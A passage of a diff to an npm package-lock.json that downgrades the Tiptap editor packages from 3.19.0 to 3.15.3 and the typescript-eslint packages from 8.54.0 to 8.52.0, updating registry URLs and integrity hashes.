     },
     "node_modules/@tiptap/extension-italic": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-italic/-/extension-italic-3.19.0.tgz",
-      "integrity": "sha512-6GffxOnS/tWyCbDkirWNZITiXRta9wrCmrfa4rh+v32wfaOL1RRQNyqo9qN6Wjyl1R42Js+yXTzTTzZsOaLMYA==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-italic/-/extension-italic-3.15.3.tgz",
+      "integrity": "sha512-6XeuPjcWy7OBxpkgOV7bD6PATO5jhIxc8SEK4m8xn8nelGTBIbHGqK37evRv+QkC7E0MUryLtzwnmmiaxcKL0Q==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0"
+        "@tiptap/core": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-link": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-link/-/extension-link-3.19.0.tgz",
-      "integrity": "sha512-HEGDJnnCPfr7KWu7Dsq+eRRe/mBCsv6DuI+7fhOCLDJjjKzNgrX2abbo/zG3D/4lCVFaVb+qawgJubgqXR/Smw==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-link/-/extension-link-3.15.3.tgz",
+      "integrity": "sha512-PdDXyBF9Wco9U1x6e+b7tKBWG+kqBDXDmaYXHkFm/gYuQCQafVJ5mdrDdKgkHDWVnJzMWZXBcZjT9r57qtlLWg==",
       "license": "MIT",
       "dependencies": {
         "linkifyjs": "^4.3.2"
@@ -8810,161 +8340,161 @@
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0",
-        "@tiptap/pm": "^3.19.0"
+        "@tiptap/core": "^3.15.3",
+        "@tiptap/pm": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-list": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-list/-/extension-list-3.19.0.tgz",
-      "integrity": "sha512-N6nKbFB2VwMsPlCw67RlAtYSK48TAsAUgjnD+vd3ieSlIufdQnLXDFUP6hFKx9mwoUVUgZGz02RA6bkxOdYyTw==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-list/-/extension-list-3.15.3.tgz",
+      "integrity": "sha512-n7y/MF9lAM5qlpuH5IR4/uq+kJPEJpe9NrEiH+NmkO/5KJ6cXzpJ6F4U17sMLf2SNCq+TWN9QK8QzoKxIn50VQ==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0",
-        "@tiptap/pm": "^3.19.0"
+        "@tiptap/core": "^3.15.3",
+        "@tiptap/pm": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-list-item": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-list-item/-/extension-list-item-3.19.0.tgz",
-      "integrity": "sha512-VsSKuJz4/Tb6ZmFkXqWpDYkRzmaLTyE6dNSEpNmUpmZ32sMqo58mt11/huADNwfBFB0Ve7siH/VnFNIJYY3xvg==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-list-item/-/extension-list-item-3.15.3.tgz",
+      "integrity": "sha512-CCxL5ek1p0lO5e8aqhnPzIySldXRSigBFk2fP9OLgdl5qKFLs2MGc19jFlx5+/kjXnEsdQTFbGY1Sizzt0TVDw==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/extension-list": "^3.19.0"
+        "@tiptap/extension-list": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-list-keymap": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-list-keymap/-/extension-list-keymap-3.19.0.tgz",
-      "integrity": "sha512-bxgmAgA3RzBGA0GyTwS2CC1c+QjkJJq9hC+S6PSOWELGRiTbwDN3MANksFXLjntkTa0N5fOnL27vBHtMStURqw==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-list-keymap/-/extension-list-keymap-3.15.3.tgz",
+      "integrity": "sha512-UxqnTEEAKrL+wFQeSyC9z0mgyUUVRS2WTcVFoLZCE6/Xus9F53S4bl7VKFadjmqI4GpDk5Oe2IOUc72o129jWg==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/extension-list": "^3.19.0"
+        "@tiptap/extension-list": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-mention": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-mention/-/extension-mention-3.19.0.tgz",
-      "integrity": "sha512-iBWX6mUouvDe9F75C2fJnFzvBFYVF8fcOa7UvzqWHRSCt8WxqSIp6C1B9Y0npP4TbIZySHzPV4NQQJhtmWwKww==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-mention/-/extension-mention-3.15.3.tgz",
+      "integrity": "sha512-4YpwiQyumKZrlfiw4ExDzrDRarC4kkaC7RjEl4kYhzutID1Zy1WLES1B0CoZN9wRds/mjrQjfCFE5HE+2g3D6w==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0",
-        "@tiptap/pm": "^3.19.0",
-        "@tiptap/suggestion": "^3.19.0"
+        "@tiptap/core": "^3.15.3",
+        "@tiptap/pm": "^3.15.3",
+        "@tiptap/suggestion": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-ordered-list": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-ordered-list/-/extension-ordered-list-3.19.0.tgz",
-      "integrity": "sha512-cxGsINquwHYE1kmhAcLNLHAofmoDEG6jbesR5ybl7tU5JwtKVO7S/xZatll2DU1dsDAXWPWEeeMl4e/9svYjCg==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-ordered-list/-/extension-ordered-list-3.15.3.tgz",
+      "integrity": "sha512-/8uhw528Iy0c9wF6tHCiIn0ToM0Ml6Ll2c/3iPRnKr4IjXwx2Lr994stUFihb+oqGZwV1J8CPcZJ4Ufpdqi4Dw==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/extension-list": "^3.19.0"
+        "@tiptap/extension-list": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-paragraph": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-paragraph/-/extension-paragraph-3.19.0.tgz",
-      "integrity": "sha512-xWa6gj82l5+AzdYyrSk9P4ynySaDzg/SlR1FarXE5yPXibYzpS95IWaVR0m2Qaz7Rrk+IiYOTGxGRxcHLOelNg==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-paragraph/-/extension-paragraph-3.15.3.tgz",
+      "integrity": "sha512-lc0Qu/1AgzcEfS67NJMj5tSHHhH6NtA6uUpvppEKGsvJwgE2wKG1onE4isrVXmcGRdxSMiCtyTDemPNMu6/ozQ==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0"
+        "@tiptap/core": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-placeholder": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-placeholder/-/extension-placeholder-3.19.0.tgz",
-      "integrity": "sha512-i15OfgyI4IDCYAcYSKUMnuZkYuUInfanjf9zquH8J2BETiomf/jZldVCp/QycMJ8DOXZ38fXDc99wOygnSNySg==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-placeholder/-/extension-placeholder-3.15.3.tgz",
+      "integrity": "sha512-XcHHnojT186hKIoOgcPBesXk89+caNGVUdMtc171Vcr/5s0dpnr4q5LfE+YRC+S85CpCxCRRnh84Ou+XRtOqrw==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/extensions": "^3.19.0"
+        "@tiptap/extensions": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-strike": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-strike/-/extension-strike-3.19.0.tgz",
-      "integrity": "sha512-xYpabHsv7PccLUBQaP8AYiFCnYbx6P93RHPd0lgNwhdOjYFd931Zy38RyoxPHAgbYVmhf1iyx7lpuLtBnhS5dA==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-strike/-/extension-strike-3.15.3.tgz",
+      "integrity": "sha512-Y1P3eGNY7RxQs2BcR6NfLo9VfEOplXXHAqkOM88oowWWOE7dMNeFFZM9H8HNxoQgXJ7H0aWW9B7ZTWM9hWli2Q==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0"
+        "@tiptap/core": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-text": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-text/-/extension-text-3.19.0.tgz",
-      "integrity": "sha512-K95+SnbZy0h6hNFtfy23n8t/nOcTFEf69In9TSFVVmwn/Nwlke+IfiESAkqbt1/7sKJeegRXYO7WzFEmFl9Q/g==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-text/-/extension-text-3.15.3.tgz",
+      "integrity": "sha512-MhkBz8ZvrqOKtKNp+ZWISKkLUlTrDR7tbKZc2OnNcUTttL9dz0HwT+cg91GGz19fuo7ttDcfsPV6eVmflvGToA==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0"
+        "@tiptap/core": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-underline": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-underline/-/extension-underline-3.19.0.tgz",
-      "integrity": "sha512-800MGEWfG49j10wQzAFiW/ele1HT04MamcL8iyuPNu7ZbjbGN2yknvdrJlRy7hZlzIrVkZMr/1tz62KN33VHIw==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-underline/-/extension-underline-3.15.3.tgz",
+      "integrity": "sha512-r/IwcNN0W366jGu4Y0n2MiFq9jGa4aopOwtfWO4d+J0DyeS2m7Go3+KwoUqi0wQTiVU74yfi4DF6eRsMQ9/iHQ==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0"
+        "@tiptap/core": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extensions": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extensions/-/extensions-3.19.0.tgz",
-      "integrity": "sha512-ZmGUhLbMWaGqnJh2Bry+6V4M6gMpUDYo4D1xNux5Gng/E/eYtc+PMxMZ/6F7tNTAuujLBOQKj6D+4SsSm457jw==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extensions/-/extensions-3.15.3.tgz",
+      "integrity": "sha512-ycx/BgxR4rc9tf3ZyTdI98Z19yKLFfqM3UN+v42ChuIwkzyr9zyp7kG8dB9xN2lNqrD+5y/HyJobz/VJ7T90gA==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0",
-        "@tiptap/pm": "^3.19.0"
+        "@tiptap/core": "^3.15.3",
+        "@tiptap/pm": "^3.15.3"
       }
     },
     "node_modules/@tiptap/pm": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/pm/-/pm-3.19.0.tgz",
-      "integrity": "sha512-789zcnM4a8OWzvbD2DL31d0wbSm9BVeO/R7PLQwLIGysDI3qzrcclyZ8yhqOEVuvPitRRwYLq+mY14jz7kY4cw==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/pm/-/pm-3.15.3.tgz",
+      "integrity": "sha512-Zm1BaU1TwFi3CQiisxjgnzzIus+q40bBKWLqXf6WEaus8Z6+vo1MT2pU52dBCMIRaW9XNDq3E5cmGtMc1AlveA==",
       "license": "MIT",
       "dependencies": {
         "prosemirror-changeset": "^2.3.0",
@@ -8992,9 +8522,9 @@
       }
     },
     "node_modules/@tiptap/react": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/react/-/react-3.19.0.tgz",
-      "integrity": "sha512-GQQMUUXMpNd8tRjc1jDK3tDRXFugJO7C928EqmeBcBzTKDrFIJ3QUoZKEPxUNb6HWhZ2WL7q00fiMzsv4DNSmg==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/react/-/react-3.15.3.tgz",
+      "integrity": "sha512-XvouB+Hrqw8yFmZLPEh+HWlMeRSjZfHSfWfWuw5d8LSwnxnPeu3Bg/rjHrRrdwb+7FumtzOnNWMorpb/PSOttQ==",
       "license": "MIT",
       "dependencies": {
         "@types/use-sync-external-store": "^0.0.6",
@@ -9006,12 +8536,12 @@
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "optionalDependencies": {
-        "@tiptap/extension-bubble-menu": "^3.19.0",
-        "@tiptap/extension-floating-menu": "^3.19.0"
+        "@tiptap/extension-bubble-menu": "^3.15.3",
+        "@tiptap/extension-floating-menu": "^3.15.3"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0",
-        "@tiptap/pm": "^3.19.0",
+        "@tiptap/core": "^3.15.3",
+        "@tiptap/pm": "^3.15.3",
         "@types/react": "^17.0.0 || ^18.0.0 || ^19.0.0",
         "@types/react-dom": "^17.0.0 || ^18.0.0 || ^19.0.0",
         "react": "^17.0.0 || ^18.0.0 || ^19.0.0",
@@ -9019,35 +8549,35 @@
       }
     },
     "node_modules/@tiptap/starter-kit": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/starter-kit/-/starter-kit-3.19.0.tgz",
-      "integrity": "sha512-dTCkHEz+Y8ADxX7h+xvl6caAj+3nII/wMB1rTQchSuNKqJTOrzyUsCWm094+IoZmLT738wANE0fRIgziNHs/ug==",
-      "license": "MIT",
-      "dependencies": {
-        "@tiptap/core": "^3.19.0",
-        "@tiptap/extension-blockquote": "^3.19.0",
-        "@tiptap/extension-bold": "^3.19.0",
-        "@tiptap/extension-bullet-list": "^3.19.0",
-        "@tiptap/extension-code": "^3.19.0",
-        "@tiptap/extension-code-block": "^3.19.0",
-        "@tiptap/extension-document": "^3.19.0",
-        "@tiptap/extension-dropcursor": "^3.19.0",
-        "@tiptap/extension-gapcursor": "^3.19.0",
-        "@tiptap/extension-hard-break": "^3.19.0",
-        "@tiptap/extension-heading": "^3.19.0",
-        "@tiptap/extension-horizontal-rule": "^3.19.0",
-        "@tiptap/extension-italic": "^3.19.0",
-        "@tiptap/extension-link": "^3.19.0",
-        "@tiptap/extension-list": "^3.19.0",
-        "@tiptap/extension-list-item": "^3.19.0",
-        "@tiptap/extension-list-keymap": "^3.19.0",
-        "@tiptap/extension-ordered-list": "^3.19.0",
-        "@tiptap/extension-paragraph": "^3.19.0",
-        "@tiptap/extension-strike": "^3.19.0",
-        "@tiptap/extension-text": "^3.19.0",
-        "@tiptap/extension-underline": "^3.19.0",
-        "@tiptap/extensions": "^3.19.0",
-        "@tiptap/pm": "^3.19.0"
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/starter-kit/-/starter-kit-3.15.3.tgz",
+      "integrity": "sha512-ia+eQr9Mt1ln2UO+kK4kFTJOrZK4GhvZXFjpCCYuHtco3rhr2fZAIxEEY4cl/vo5VO5WWyPqxhkFeLcoWmNjSw==",
+      "license": "MIT",
+      "dependencies": {
+        "@tiptap/core": "^3.15.3",
+        "@tiptap/extension-blockquote": "^3.15.3",
+        "@tiptap/extension-bold": "^3.15.3",
+        "@tiptap/extension-bullet-list": "^3.15.3",
+        "@tiptap/extension-code": "^3.15.3",
+        "@tiptap/extension-code-block": "^3.15.3",
+        "@tiptap/extension-document": "^3.15.3",
+        "@tiptap/extension-dropcursor": "^3.15.3",
+        "@tiptap/extension-gapcursor": "^3.15.3",
+        "@tiptap/extension-hard-break": "^3.15.3",
+        "@tiptap/extension-heading": "^3.15.3",
+        "@tiptap/extension-horizontal-rule": "^3.15.3",
+        "@tiptap/extension-italic": "^3.15.3",
+        "@tiptap/extension-link": "^3.15.3",
+        "@tiptap/extension-list": "^3.15.3",
+        "@tiptap/extension-list-item": "^3.15.3",
+        "@tiptap/extension-list-keymap": "^3.15.3",
+        "@tiptap/extension-ordered-list": "^3.15.3",
+        "@tiptap/extension-paragraph": "^3.15.3",
+        "@tiptap/extension-strike": "^3.15.3",
+        "@tiptap/extension-text": "^3.15.3",
+        "@tiptap/extension-underline": "^3.15.3",
+        "@tiptap/extensions": "^3.15.3",
+        "@tiptap/pm": "^3.15.3"
       },
       "funding": {
         "type": "github",
@@ -9055,17 +8585,17 @@
       }
     },
     "node_modules/@tiptap/suggestion": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/suggestion/-/suggestion-3.19.0.tgz",
-      "integrity": "sha512-tUZwMRFqTVPIo566ZmHNRteyZxJy2EE4FA+S3IeIUOOvY6AW0h1imhbpBO7sXV8CeEQvpa+2DWwLvy7L3vmstA==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/suggestion/-/suggestion-3.15.3.tgz",
+      "integrity": "sha512-+CbaHhPfKUe+fNpUIQaOPhh6xI+xL5jbK1zw++U+CZIRrVAAmHRhO+D0O2HdiE1RK7596y8bRqMiB2CRHF7emA==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0",
-        "@tiptap/pm": "^3.19.0"
+        "@tiptap/core": "^3.15.3",
+        "@tiptap/pm": "^3.15.3"
       }
     },
     "node_modules/@types/aria-query": {
@@ -9486,6 +9016,7 @@
       "version": "22.19.1",
       "resolved": "https://registry.npmjs.org/@types/node/-/node-22.19.1.tgz",
       "integrity": "sha512-LCCV0HdSZZZb34qifBsyWlUmok6W7ouER+oQIGBScS8EsZsQbrtFTUrDX4hOl+CS6p7cnNC4td+qrSVGSCTUfQ==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "undici-types": "~6.21.0"
@@ -9618,17 +9149,17 @@
       "license": "MIT"
     },
     "node_modules/@typescript-eslint/eslint-plugin": {
-      "version": "8.54.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.54.0.tgz",
-      "integrity": "sha512-hAAP5io/7csFStuOmR782YmTthKBJ9ND3WVL60hcOjvtGFb+HJxH4O5huAcmcZ9v9G8P+JETiZ/G1B8MALnWZQ==",
+      "version": "8.52.0",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.52.0.tgz",
+      "integrity": "sha512-okqtOgqu2qmZJ5iN4TWlgfF171dZmx2FzdOv2K/ixL2LZWDStL8+JgQerI2sa8eAEfoydG9+0V96m7V+P8yE1Q==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
         "@eslint-community/regexpp": "^4.12.2",
-        "@typescript-eslint/scope-manager": "8.54.0",
-        "@typescript-eslint/type-utils": "8.54.0",
-        "@typescript-eslint/utils": "8.54.0",
-        "@typescript-eslint/visitor-keys": "8.54.0",
+        "@typescript-eslint/scope-manager": "8.52.0",
+        "@typescript-eslint/type-utils": "8.52.0",
+        "@typescript-eslint/utils": "8.52.0",
+        "@typescript-eslint/visitor-keys": "8.52.0",
         "ignore": "^7.0.5",
         "natural-compare": "^1.4.0",
         "ts-api-utils": "^2.4.0"
@@ -9641,7 +9172,7 @@
         "url": "https://opencollective.com/typescript-eslint"
       },
       "peerDependencies": {
-        "@typescript-eslint/parser": "^8.54.0",
+        "@typescript-eslint/parser": "^8.52.0",
         "eslint": "^8.57.0 || ^9.0.0",
         "typescript": ">=4.8.4 <6.0.0"
       }
@@ -9657,16 +9188,16 @@
       }
     },
     "node_modules/@typescript-eslint/parser": {
-      "version": "8.54.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.54.0.tgz",
-      "integrity": "sha512-BtE0k6cjwjLZoZixN0t5AKP0kSzlGu7FctRXYuPAm//aaiZhmfq1JwdYpYr1brzEspYyFeF+8XF5j2VK6oalrA==",
+      "version": "8.52.0",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.52.0.tgz",
+      "integrity": "sha512-iIACsx8pxRnguSYhHiMn2PvhvfpopO9FXHyn1mG5txZIsAaB6F0KwbFnUQN3KCiG3Jcuad/Cao2FAs1Wp7vAyg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@typescript-eslint/scope-manager": "8.54.0",
-        "@typescript-eslint/types": "8.54.0",
-        "@typescript-eslint/typescript-estree": "8.54.0",
-        "@typescript-eslint/visitor-keys": "8.54.0",
+        "@typescript-eslint/scope-manager": "8.52.0",
+        "@typescript-eslint/types": "8.52.0",
+        "@typescript-eslint/typescript-estree": "8.52.0",
+        "@typescript-eslint/visitor-keys": "8.52.0",
         "debug": "^4.4.3"
       },
       "engines": {
@@ -9682,14 +9213,14 @@
       }
     },
     "node_modules/@typescript-eslint/project-service": {
-      "version": "8.54.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.54.0.tgz",
-      "integrity": "sha512-YPf+rvJ1s7MyiWM4uTRhE4DvBXrEV+d8oC3P9Y2eT7S+HBS0clybdMIPnhiATi9vZOYDc7OQ1L/i6ga6NFYK/g==",
+      "version": "8.52.0",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.52.0.tgz",
+      "integrity": "sha512-xD0MfdSdEmeFa3OmVqonHi+Cciab96ls1UhIF/qX/O/gPu5KXD0bY9lu33jj04fjzrXHcuvjBcBC+D3SNSadaw==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@typescript-eslint/tsconfig-utils": "^8.54.0",
-        "@typescript-eslint/types": "^8.54.0",
+        "@typescript-eslint/tsconfig-utils": "^8.52.0",
+        "@typescript-eslint/types": "^8.52.0",
         "debug": "^4.4.3"
       },
       "engines": {
@@ -9704,14 +9235,14 @@
       }
     },
     "node_modules/@typescript-eslint/scope-manager": {
-      "version": "8.54.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.54.0.tgz",
-      "integrity": "sha512-27rYVQku26j/PbHYcVfRPonmOlVI6gihHtXFbTdB5sb6qA0wdAQAbyXFVarQ5t4HRojIz64IV90YtsjQSSGlQg==",
+      "version": "8.52.0",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.52.0.tgz",
+      "integrity": "sha512-ixxqmmCcc1Nf8S0mS0TkJ/3LKcC8mruYJPOU6Ia2F/zUUR4pApW7LzrpU3JmtePbRUTes9bEqRc1Gg4iyRnDzA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@typescript-eslint/types": "8.54.0",
-        "@typescript-eslint/visitor-keys": "8.54.0"
+        "@typescript-eslint/types": "8.52.0",
+        "@typescript-eslint/visitor-keys": "8.52.0"
       },
       "engines": {
         "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
@@ -9722,9 +9253,9 @@
       }
     },
     "node_modules/@typescript-eslint/tsconfig-utils": {
-      "version": "8.54.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.54.0.tgz",
-      "integrity": "sha512-dRgOyT2hPk/JwxNMZDsIXDgyl9axdJI3ogZ2XWhBPsnZUv+hPesa5iuhdYt2gzwA9t8RE5ytOJ6xB0moV0Ujvw==",
+      "version": "8.52.0",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.52.0.tgz",
+      "integrity": "sha512-jl+8fzr/SdzdxWJznq5nvoI7qn2tNYV/ZBAEcaFMVXf+K6jmXvAFrgo/+5rxgnL152f//pDEAYAhhBAZGrVfwg==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -9739,15 +9270,15 @@
       }
     },
     "node_modules/@typescript-eslint/type-utils": {
-      "version": "8.54.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.54.0.tgz",
-      "integrity": "sha512-hiLguxJWHjjwL6xMBwD903ciAwd7DmK30Y9Axs/etOkftC3ZNN9K44IuRD/EB08amu+Zw6W37x9RecLkOo3pMA==",
+      "version": "8.52.0",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.52.0.tgz",
+      "integrity": "sha512-JD3wKBRWglYRQkAtsyGz1AewDu3mTc7NtRjR/ceTyGoPqmdS5oCdx/oZMWD5Zuqmo6/MpsYs0wp6axNt88/2EQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@typescript-eslint/types": "8.54.0",
-        "@typescript-eslint/typescript-estree": "8.54.0",
-        "@typescript-eslint/utils": "8.54.0",
+        "@typescript-eslint/types": "8.52.0",
+        "@typescript-eslint/typescript-estree": "8.52.0",
+        "@typescript-eslint/utils": "8.52.0",
         "debug": "^4.4.3",
         "ts-api-utils": "^2.4.0"
       },
@@ -9764,9 +9295,9 @@
       }
     },
     "node_modules/@typescript-eslint/types": {
-      "version": "8.54.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.54.0.tgz",
-      "integrity": "sha512-PDUI9R1BVjqu7AUDsRBbKMtwmjWcn4J3le+5LpcFgWULN3LvHC5rkc9gCVxbrsrGmO1jfPybN5s6h4Jy+OnkAA==",
+      "version": "8.52.0",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.52.0.tgz",
+      "integrity": "sha512-LWQV1V4q9V4cT4H5JCIx3481iIFxH1UkVk+ZkGGAV1ZGcjGI9IoFOfg3O6ywz8QqCDEp7Inlg6kovMofsNRaGg==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -9778,16 +9309,16 @@
       }
     },
     "node_modules/@typescript-eslint/typescript-estree": {
-      "version": "8.54.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.54.0.tgz",
-      "integrity": "sha512-BUwcskRaPvTk6fzVWgDPdUndLjB87KYDrN5EYGetnktoeAvPtO4ONHlAZDnj5VFnUANg0Sjm7j4usBlnoVMHwA==",
+      "version": "8.52.0",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.52.0.tgz",
+      "integrity": "sha512-XP3LClsCc0FsTK5/frGjolyADTh3QmsLp6nKd476xNI9CsSsLnmn4f0jrzNoAulmxlmNIpeXuHYeEQv61Q6qeQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@typescript-eslint/project-service": "8.54.0",
-        "@typescript-eslint/tsconfig-utils": "8.54.0",
-        "@typescript-eslint/types": "8.54.0",
-        "@typescript-eslint/visitor-keys": "8.54.0",
+        "@typescript-eslint/project-service": "8.52.0",
+        "@typescript-eslint/tsconfig-utils": "8.52.0",
+        "@typescript-eslint/types": "8.52.0",
+        "@typescript-eslint/visitor-keys": "8.52.0",
         "debug": "^4.4.3",
         "minimatch": "^9.0.5",
         "semver": "^7.7.3",
@@ -9845,16 +9376,16 @@
       }
     },
     "node_modules/@typescript-eslint/utils": {
-      "version": "8.54.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.54.0.tgz",
-      "integrity": "sha512-9Cnda8GS57AQakvRyG0PTejJNlA2xhvyNtEVIMlDWOOeEyBkYWhGPnfrIAnqxLMTSTo6q8g12XVjjev5l1NvMA==",
+      "version": "8.52.0",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.52.0.tgz",
+      "integrity": "sha512-wYndVMWkweqHpEpwPhwqE2lnD2DxC6WVLupU/DOt/0/v+/+iQbbzO3jOHjmBMnhu0DgLULvOaU4h4pwHYi2oRQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
         "@eslint-community/eslint-utils": "^4.9.1",
-        "@typescript-eslint/scope-manager": "8.54.0",
-        "@typescript-eslint/types": "8.54.0",
-        "@typescript-eslint/typescript-estree": "8.54.0"
+        "@typescript-eslint/scope-manager": "8.52.0",
+        "@typescript-eslint/types": "8.52.0",
+        "@typescript-eslint/typescript-estree": "8.52.0"
       },
       "engines": {
         "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
@@ -9869,13 +9400,13 @@
       }
     },
     "node_modules/@typescript-eslint/visitor-keys": {
-      "version": "8.54.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.54.0.tgz",
